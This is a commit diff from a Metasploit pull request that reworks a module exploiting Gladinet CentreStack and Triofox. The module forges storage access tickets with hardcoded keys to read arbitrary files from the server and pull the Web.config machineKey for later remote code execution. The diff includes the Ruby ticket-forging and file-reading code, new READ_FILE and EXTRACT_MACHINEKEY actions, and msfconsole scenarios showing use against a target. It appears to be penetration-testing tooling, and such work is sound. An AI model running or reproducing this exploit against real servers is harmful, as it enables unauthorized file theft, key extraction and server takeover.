Address PR #20768 review feedback
- Fix machineKey extraction regex to handle decryption attribute - Replace Base64.strict_encode64 with Rex::Text.encode_base64 - Add READ_FILE and EXTRACT_MACHINEKEY actions - Add PRODUCT option for CentreStack/Triofox support - Use different storage endpoints per product type - Update documentation with new options and actions
This commit is contained in:
committed by
Martin Sutovsky
parent
7776588577
commit
005fbb17a1
@@ -42,16 +42,40 @@ You are now ready to test the module.
|
||||
- [ ] `use auxiliary/gather/gladinet_storage_access_ticket_forge`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>` (default: 80)
|
||||
- [ ] `set filepath <file-to-read>` (default: `C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config`)
|
||||
- [ ] `set product <CentreStack|Triofox>` (default: CentreStack)
|
||||
- [ ] `set action <READ_FILE|EXTRACT_MACHINEKEY>` (default: EXTRACT_MACHINEKEY)
|
||||
- [ ] `set filepath <file-to-read>` (optional, auto-selected based on PRODUCT)
|
||||
- [ ] `run`
|
||||
- [ ] The module should forge an access ticket and read the specified file
|
||||
|
||||
## Actions
|
||||
|
||||
### EXTRACT_MACHINEKEY (default)
|
||||
|
||||
Read the Web.config file and extract the machineKey for RCE exploitation.
|
||||
The Web.config path is automatically determined based on the PRODUCT option.
|
||||
|
||||
### READ_FILE
|
||||
|
||||
Read an arbitrary file from the target system.
|
||||
|
||||
## Options
|
||||
|
||||
### PRODUCT
|
||||
|
||||
Target product type. Either `CentreStack` or `Triofox`. Default: `CentreStack`
|
||||
|
||||
This option affects:
|
||||
- The default Web.config path used for EXTRACT_MACHINEKEY action
|
||||
- The storage endpoint path (`/storage/filesvr.dn` for CentreStack, `/servlets/filesvr.dn` for Triofox)
|
||||
|
||||
### FILEPATH
|
||||
|
||||
The file path to read on the target. Default: `C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config`
|
||||
|
||||
For Triofox targets, set PRODUCT to `Triofox` and the module will automatically use
|
||||
`C:\Program Files (x86)\Triofox\root\Web.config` for the EXTRACT_MACHINEKEY action.
|
||||
|
||||
### SYSKEY
|
||||
|
||||
SysKey (32 bytes) in hex format. Default is the hardcoded key extracted from GladCtrl64.dll.
|
||||
@@ -62,7 +86,7 @@ SysKey1 (16 bytes) in hex format. Default is the hardcoded key extracted from Gl
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Reading Web.config
|
||||
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Extracting machineKey
|
||||
|
||||
```msf
|
||||
msf6 > use auxiliary/gather/gladinet_storage_access_ticket_forge
|
||||
@@ -72,8 +96,8 @@ msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set rport 80
|
||||
rport => 80
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set ssl false
|
||||
ssl => false
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set filepath "C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config"
|
||||
filepath => C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set product CentreStack
|
||||
product => CentreStack
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > run
|
||||
[*] Running module against 192.168.1.21
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
@@ -268,6 +292,8 @@ set MACHINEKEY 5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9
|
||||
### Reading an arbitrary file
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set action READ_FILE
|
||||
action => READ_FILE
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set filepath "C:\Windows\System32\drivers\etc\hosts"
|
||||
filepath => C:\Windows\System32\drivers\etc\hosts
|
||||
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > run
|
||||
|
||||
@@ -21,11 +21,11 @@ module Msf
|
||||
# Extract machineKey from Web.config
|
||||
# Pattern: <machineKey ... validationKey="..." ... />
|
||||
# NOTE: The exploit module only needs the validationKey, not the decryptionKey
|
||||
# The regex allows for other attributes (like decryption="AES") between decryptionKey and validationKey
|
||||
machinekey_match = content.match(/<machineKey decryptionKey="([^"]+)" validationKey="([^"]+)"/i)
|
||||
# The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...")
|
||||
machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i)
|
||||
return nil unless machinekey_match
|
||||
|
||||
validation_key = machinekey_match[2]
|
||||
validation_key = machinekey_match[1]
|
||||
|
||||
# Return only validationKey (hex format) as required by the exploit module
|
||||
validation_key
|
||||
|
||||
@@ -4,7 +4,6 @@
|
||||
##
|
||||
|
||||
require 'openssl'
|
||||
require 'base64'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -57,13 +56,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
},
|
||||
'Actions' => [
|
||||
['READ_FILE', { 'Description' => 'Read an arbitrary file from the target' }],
|
||||
['EXTRACT_MACHINEKEY', { 'Description' => 'Read Web.config and extract the machineKey for RCE' }]
|
||||
],
|
||||
'DefaultAction' => 'EXTRACT_MACHINEKEY'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Gladinet CentreStack or Triofox application', '/']),
|
||||
OptString.new('FILEPATH', [true, 'Absolute path to the file to read on the target', 'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config']),
|
||||
OptEnum.new('PRODUCT', [true, 'Target product type', 'CentreStack', ['CentreStack', 'Triofox']]),
|
||||
OptString.new('SYSKEY', [true, 'SysKey (32 bytes) in hex format', DEFAULT_SYS_KEY]),
|
||||
OptString.new('SYSKEY1', [true, 'SysKey1 (16 bytes) in hex format', DEFAULT_SYS_KEY1])
|
||||
])
|
||||
@@ -122,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cipher.key = sys_key
|
||||
cipher.iv = sys_key1
|
||||
encrypted = cipher.update(plaintext) + cipher.final
|
||||
Base64.strict_encode64(encrypted).tr('+/', ':|')
|
||||
Rex::Text.encode_base64(encrypted).tr('+/', ':|')
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -135,42 +140,43 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Exploit::CheckCode::Appears("Version #{version} detected, attempting ticket forge anyway")
|
||||
end
|
||||
|
||||
def run
|
||||
filepath = datastore['FILEPATH']
|
||||
def storage_endpoint
|
||||
# CentreStack and Triofox use different paths
|
||||
case datastore['PRODUCT']
|
||||
when 'Triofox'
|
||||
normalize_uri(target_uri.path, 'servlets', 'filesvr.dn')
|
||||
else
|
||||
normalize_uri(target_uri.path, 'storage', 'filesvr.dn')
|
||||
end
|
||||
end
|
||||
|
||||
def default_webconfig_path
|
||||
case datastore['PRODUCT']
|
||||
when 'Triofox'
|
||||
'C:\\Program Files (x86)\\Triofox\\root\\Web.config'
|
||||
else
|
||||
'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config'
|
||||
end
|
||||
end
|
||||
|
||||
def read_file_via_ticket(filepath)
|
||||
print_status("Forging access ticket for file: #{filepath}")
|
||||
ticket = forge_ticket(filepath)
|
||||
|
||||
print_good("Forged access ticket: #{ticket}")
|
||||
|
||||
print_status('Sending request to /storage/filesvr.dn')
|
||||
print_status("Sending request to #{storage_endpoint}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'storage', 'filesvr.dn'),
|
||||
'uri' => storage_endpoint,
|
||||
'vars_get' => { 't' => ticket }
|
||||
})
|
||||
|
||||
unless res&.code == 200
|
||||
print_error("Failed to read file. HTTP response code: #{res&.code}")
|
||||
return
|
||||
return nil
|
||||
end
|
||||
|
||||
print_good("Successfully read file: #{filepath}")
|
||||
print_line
|
||||
print_line(res.body)
|
||||
print_line
|
||||
|
||||
fname = File.basename(filepath)
|
||||
path = store_loot(
|
||||
'gladinet.file',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
res.body,
|
||||
fname,
|
||||
'File read from Gladinet via forged access ticket'
|
||||
)
|
||||
print_good("File saved to: #{path}")
|
||||
|
||||
ticket_path = store_loot(
|
||||
'gladinet.ticket',
|
||||
'text/plain',
|
||||
@@ -181,6 +187,66 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
print_good("Access ticket saved to: #{ticket_path}")
|
||||
|
||||
handle_machinekey_extraction(res.body, filepath, 'MachineKey extracted from Gladinet Web.config')
|
||||
res.body
|
||||
end
|
||||
|
||||
def run
|
||||
case action.name
|
||||
when 'READ_FILE'
|
||||
run_read_file
|
||||
when 'EXTRACT_MACHINEKEY'
|
||||
run_extract_machinekey
|
||||
end
|
||||
end
|
||||
|
||||
def run_read_file
|
||||
filepath = datastore['FILEPATH']
|
||||
file_content = read_file_via_ticket(filepath)
|
||||
return if file_content.nil?
|
||||
|
||||
print_good("Successfully read file: #{filepath}")
|
||||
print_line
|
||||
print_line(file_content)
|
||||
print_line
|
||||
|
||||
fname = File.basename(filepath)
|
||||
path = store_loot(
|
||||
'gladinet.file',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
file_content,
|
||||
fname,
|
||||
'File read from Gladinet via forged access ticket'
|
||||
)
|
||||
print_good("File saved to: #{path}")
|
||||
end
|
||||
|
||||
def run_extract_machinekey
|
||||
filepath = datastore['FILEPATH']
|
||||
# Use default Web.config path if the user hasn't changed FILEPATH
|
||||
if filepath == 'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config'
|
||||
filepath = default_webconfig_path
|
||||
end
|
||||
|
||||
file_content = read_file_via_ticket(filepath)
|
||||
return if file_content.nil?
|
||||
|
||||
print_good("Successfully read file: #{filepath}")
|
||||
print_line
|
||||
print_line(file_content)
|
||||
print_line
|
||||
|
||||
fname = File.basename(filepath)
|
||||
path = store_loot(
|
||||
'gladinet.file',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
file_content,
|
||||
fname,
|
||||
'File read from Gladinet via forged access ticket'
|
||||
)
|
||||
print_good("File saved to: #{path}")
|
||||
|
||||
handle_machinekey_extraction(file_content, filepath, 'MachineKey extracted from Gladinet Web.config')
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user